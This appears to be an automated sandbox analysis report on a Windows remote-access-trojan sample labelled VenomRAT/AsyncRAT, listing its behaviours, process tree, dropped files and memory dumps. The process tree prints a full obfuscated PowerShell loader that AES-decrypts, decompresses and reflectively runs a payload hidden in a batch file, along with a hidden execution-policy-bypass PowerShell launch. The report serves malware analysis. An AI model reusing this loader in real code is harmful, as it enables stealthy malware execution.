Resubmissions
01/07/2024, 13:38
240701-qxfctavbjd01/07/2024, 13:36
240701-qwkk5sxhmp01/07/2024, 13:34
240701-qt62csxgqn15/04/2024, 16:24
240415-twdpdaag8515/04/2024, 16:06
240415-tj8zracg3115/04/2024, 15:53
240415-tbwpfsce4y1023/03/2024, 00:57
240323-ba892sbc5610Analysis
- max time kernel
58s - max time network
66s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
23/03/2024, 00:57
General
- Target VenomRAT v6.0.3/Venom RAT + HVNC + Stealer + Grabber.exe
- Size 26.1MB
- Sample240323-ba892sbc56
- SHA256 5dbb0f9df5fc34b49f0e284afe9037206c29dd8e50f0adbbcca785dcca89592e
Malware Config
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Venom RAT + HVNC + Stealer + Grabber.exe.log
__PSScriptPolicyTest_tpcs2kwo.ga1.ps1
Venom RAT + HVNC + Stealer + Grabber.exe
Venom.bat
memory/1784-21-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp
memory/1784-22-0x000002242B240000-0x000002242C074000-memory.dmp
memory/1784-23-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp
memory/4956-0-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp
memory/4956-1-0x0000000000780000-0x00000000021AA000-memory.dmp
memory/4956-2-0x000000001CF10000-0x000000001CF20000-memory.dmp
memory/4956-20-0x00007FFEB5040000-0x00007FFEB5B01000-memory.dmp
memory/5052-29-0x00007FFEB50F0000-0x00007FFEB5BB1000-memory.dmp
memory/5052-34-0x000001DBBBFF0000-0x000001DBBC012000-memory.dmp
memory/5052-36-0x000001DBB9E40000-0x000001DBB9E50000-memory.dmp
memory/5052-35-0x000001DBB9E40000-0x000001DBB9E50000-memory.dmp
memory/5052-37-0x000001DBBC3D0000-0x000001DBBC414000-memory.dmp
memory/5052-38-0x000001DBBC4A0000-0x000001DBBC516000-memory.dmp
memory/5052-39-0x000001DBF4780000-0x000001DBF5018000-memory.dmp
memory/5052-40-0x00007FFED3A40000-0x00007FFED3AFE000-memory.dmp
memory/5052-41-0x00007FFED4090000-0x00007FFED4285000-memory.dmp
memory/5052-42-0x00007FFED4090000-0x00007FFED4285000-memory.dmp
memory/5052-43-0x00007FFED4090000-0x00007FFED4285000-memory.dmp
memory/5052-44-0x00007FFEB50F0000-0x00007FFEB5BB1000-memory.dmp
memory/5052-45-0x00007FFED4090000-0x00007FFED4285000-memory.dmp